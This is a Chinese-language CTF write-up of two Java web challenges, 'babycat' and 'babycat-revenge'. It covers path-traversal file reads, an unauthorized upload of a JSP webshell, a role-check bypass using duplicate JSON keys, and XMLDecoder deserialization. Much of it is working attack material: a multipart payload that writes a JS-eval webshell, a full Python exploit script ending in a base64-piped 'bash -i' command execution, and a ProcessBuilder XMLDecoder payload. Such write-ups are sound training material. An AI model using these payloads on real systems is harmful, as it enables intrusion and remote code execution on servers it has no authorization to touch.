babycat
首先F12能看到JS代码。
if($("#login-button").val()=="Log In"){
$.ajax({
url:"/login",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(formObject),
dataType: "text",
success:function(result){
var res = JSON.parse(result);
alert(res.msg)
if (res.msg=="login success!"){
//alert(res.msg)
window.location.href="./home";
}
}
});
可以构造如下请求
data={"username":"guoke","password":"guoke"}
但是这里是用于login的。。register并没有参数。所以将这些参数。直接打register。发现注册成功。之后登陆有个download Test。存在任意文件下载
一般Java题。都是下web.xml->class->审计->RCE 老套路了
反手一个../web.xml。读到了。
照着web.xml读class。由于web.xml是在WEB-INF下。所以我们../就能跳到WEB-INF
com.web.servlet.loginServlet-> ../classes/com/web/servlet/loginServlet.class
依次读源码,着重看upload逻辑
可以看到forward之后没有return。所以后面的代码会继续执行。
可以把这个理解为php中install过了。就直接location到其他页面。但是没die();
java的forward是执行完当前所有代码然后才会执行forward那个文件的代码
具体可以看https://blog.csdn.net/qq_22075041/article/details/78736723
所以。这里就可以未授权上传任意文件。读/proc/self/environ。可以看到他是tomcat起的。而tomcat有个static文件夹。是可以访问的。所以这里上传无限制。跨目录上传jsp到static下。访问就行
目录结构为
webapps
static
WEB-INF
classes
这里直接../../static/guoke.jsp完事
babycat-revenge
修复了上一个题的非预期。继续审计代码。由于非预期无了。所以upload接口需要admin权限。
可以看到
匹配到"role":"(.*?)"
就把""内替换为Guest。那么这里就要利用json的特性。{"a":"1","a":"2"}
。后面的值会覆盖前面的值。并且支持/**/
注释。所以这里第一个role让他匹配到。进入替换逻辑。然后第二个role用/**/
不让匹配到。又能正常解析。覆盖前面的role
exp:
{"username":"guoke","password":"test","role":"guest","role":/**/"admin"}
同理。还能\u绕过第二个role
还能直接admin。不加引号。绕过
现在我们能读文件写文件。然后RCE。
在baseDao.class中有个XMLDecoder。会读取db/db.xml
每次注册或登陆都会调用getConnection->getConfig->XMLDecoder
直接搜printwriter xmldecoder 反序列化
就有https://www.cnblogs.com/peterpan0707007/p/10565968.html
environ看绝对路径写个js马完事
-----------------------------185101745725986
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: application/octet-stream
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/GUOKE.jsp</string><void method="println">
<string><![CDATA[`<% javax.script.ScriptEngineManager manager = new javax.script.ScriptEngineManager(null);javax.script.ScriptEngine engine = manager.getEngineByName("js");engine.eval(request.getParameter("guoke")); %>`
]]></string></void><void method="close"/>
</object>
</java>
-----------------------------185101745725986--
然后发个注册请求。就写完了。
EXP:
import requests
import base64
url="http://dff2f625-4918-4976-bcfa-b018331d658c.node3.buuoj.cn/"
headers={"Cookie":"JSESSIONID=19EFC6DBE21EBB6AD3F67FCD4DF8C4A0"}
data={"data":'{"username":"guoke","password":"guoke","role":"123","role"/**/:"admin"}'}
files = {"file": ("../db/db.xml", base64.b64decode("PGphdmEgdmVyc2lvbj0iMS44LjBfMTkyIiBjbGFzcz0iamF2YS5iZWFucy5YTUxEZWNvZGVyIj4KICAgIDxvYmplY3QgY2xhc3M9ImphdmEuaW8uUHJpbnRXcml0ZXIiPgogICAgICAgIDxzdHJpbmc+L3Vzci9sb2NhbC90b21jYXQvd2ViYXBwcy9ST09UL3N0YXRpYy9HVU9LRS5qc3A8L3N0cmluZz48dm9pZCBtZXRob2Q9InByaW50bG4iPgogICAgICAgIDxzdHJpbmc+PCFbQ0RBVEFbYDwlIGphdmF4LnNjcmlwdC5TY3JpcHRFbmdpbmVNYW5hZ2VyIG1hbmFnZXIgPSBuZXcgamF2YXguc2NyaXB0LlNjcmlwdEVuZ2luZU1hbmFnZXIobnVsbCk7amF2YXguc2NyaXB0LlNjcmlwdEVuZ2luZSBlbmdpbmUgPSBtYW5hZ2VyLmdldEVuZ2luZUJ5TmFtZSgianMiKTtlbmdpbmUuZXZhbChyZXF1ZXN0LmdldFBhcmFtZXRlcigiZ3Vva2UiKSk7ICU+YApdXT48L3N0cmluZz48L3ZvaWQ+PHZvaWQgbWV0aG9kPSJjbG9zZSIvPgogICAgPC9vYmplY3Q+CjwvamF2YT4="))}
requests.post(url+"/register",headers=headers,data=data)
requests.post(url+"/login",headers=headers,data={"data":'{"username":"guoke","password":"guoke"}'})
requests.post(url+"/home/upload",headers=headers,files=files)
requests.post(url+"/register",headers=headers,data=data)
requests.post(url+"/static/GUOKE.jsp",data={"guoke":"function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"bash -c {echo,
}|{base64,-d}|{bash,-i}\")"})
同样的。xml会自动解析html实体编码。可以绕过关键字
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/>
</object>
</java>